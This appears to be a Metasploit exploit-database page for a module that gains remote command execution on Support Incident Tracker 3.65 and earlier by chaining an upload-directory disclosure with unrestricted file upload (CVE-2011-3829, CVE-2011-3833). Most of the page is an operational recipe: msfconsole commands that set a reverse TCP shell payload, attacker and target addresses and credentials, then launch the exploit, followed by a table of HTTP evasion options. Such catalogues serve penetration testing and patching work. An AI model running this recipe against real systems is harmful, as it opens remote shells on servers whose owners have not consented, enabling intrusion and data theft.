Support Incident Tracker <= 3.65 Remote Command Execution
This module combines two separate issues within Support Incident Tracker (<= 3.65) application to upload arbitrary data and thus execute a shell. The two issues exist in ftp_upload_file.php. The first vulnerability exposes the upload dir used to store attachments. The second vulnerability allows arbitrary file upload since there is no validation function to prevent from uploading any file type. Authentication is required to exploit both vulnerabilities.
Exploit Rank
- Excellent
Exploit Authors
- Secunia Research < >
- juan vazquez < >
Vulnerability References
- CVE-2011-3829
- CVE-2011-3833
- OSVDB-76999
- OSVDB-77003
- http://secunia.com/secunia_research/2011-75/
- http://secunia.com/secunia_research/2011-79/
Exploit Targets
- 0 - Automatic (default)
Exploit Development
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Exploit Usage Information
$ msfconsole
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msf > use exploit/multi/http/sit_file_upload
msf exploit(sit_file_upload) > show payloads
msf exploit(sit_file_upload) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(sit_file_upload) > set LHOST [MY IP ADDRESS]
msf exploit(sit_file_upload) > set PASSWORD [STRING]
msf exploit(sit_file_upload) > set RHOST [TARGET IP]
msf exploit(sit_file_upload) > set USERNAME [STRING]
msf exploit(sit_file_upload) > exploit
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msf > use exploit/multi/http/sit_file_upload
msf exploit(sit_file_upload) > show payloads
msf exploit(sit_file_upload) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(sit_file_upload) > set LHOST [MY IP ADDRESS]
msf exploit(sit_file_upload) > set PASSWORD [STRING]
msf exploit(sit_file_upload) > set RHOST [TARGET IP]
msf exploit(sit_file_upload) > set USERNAME [STRING]
msf exploit(sit_file_upload) > exploit
Exploit Module Options
| PASSWORD | The password for the specified username (default: ) |
| Proxies | Use a proxy chain |
| RHOST | The target address |
| RPORT | The target port (default: 80) |
| URI | SiT! directory path (default: /sit) |
| USERNAME | The username to authenticate as (default: ) |
| VHOST | HTTP server virtual host |
| BasicAuthPass | The HTTP password to specify for basic authentication |
| BasicAuthUser | The HTTP username to specify for basic authentication |
| ContextInformationFile | The information file that contains context information |
| DOMAIN | The domain to use for windows authentification |
| DigestAuthIIS | Conform to IIS, should work for most servers. Only set to false for non-IIS servers |
| DigestAuthPassword | The HTTP password to specify for digest authentication |
| DigestAuthUser | The HTTP username to specify for digest authentication |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| FingerprintCheck | Conduct a pre-exploit fingerprint verification |
| NTLM::SendLM | Always send the LANMAN response (except when NTLMv2_session is specified) |
| NTLM::SendNTLM | Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses |
| NTLM::SendSPN | Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required |
| NTLM::UseLMKey | Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent |
| NTLM::UseNTLM2_session | Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session |
| NTLM::UseNTLMv2 | Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| UserAgent | The User-Agent header to use for all requests |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| HTTP::header_folding | Enable folding of HTTP headers |
| HTTP::method_random_case | Use random casing for the HTTP method |
| HTTP::method_random_invalid | Use a random invalid, HTTP method for request |
| HTTP::method_random_valid | Use a random, but valid, HTTP method for request |
| HTTP::pad_fake_headers | Insert random, fake headers into the HTTP request |
| HTTP::pad_fake_headers_count | How many fake headers to insert into the HTTP request |
| HTTP::pad_get_params | Insert random, fake query string variables into the request |
| HTTP::pad_get_params_count | How many fake query string variables to insert into the request |
| HTTP::pad_method_uri_count | How many whitespace characters to use between the method and uri |
| HTTP::pad_method_uri_type | What type of whitespace to use between the method and uri (accepted: space, tab, apache) |
| HTTP::pad_post_params | Insert random, fake post variables into the request |
| HTTP::pad_post_params_count | How many fake post variables to insert into the request |
| HTTP::pad_uri_version_count | How many whitespace characters to use between the uri and version |
| HTTP::pad_uri_version_type | What type of whitespace to use between the uri and version (accepted: space, tab, apache) |
| HTTP::uri_dir_fake_relative | Insert fake relative directories into the uri |
| HTTP::uri_dir_self_reference | Insert self-referential directories into the uri |
| HTTP::uri_encode_mode | Enable URI encoding (accepted: none, hex-normal, hex-all, hex-random, u-normal, u-all, u-random) |
| HTTP::uri_fake_end | Add a fake end of URI (eg: /%20HTTP/1.0/../../) |
| HTTP::uri_fake_params_start | Add a fake start of params to the URI (eg: /%3fa=b/../) |
| HTTP::uri_full_url | Use the full URL for all HTTP requests |
| HTTP::uri_use_backslashes | Use back slashes instead of forward slashes in the uri |
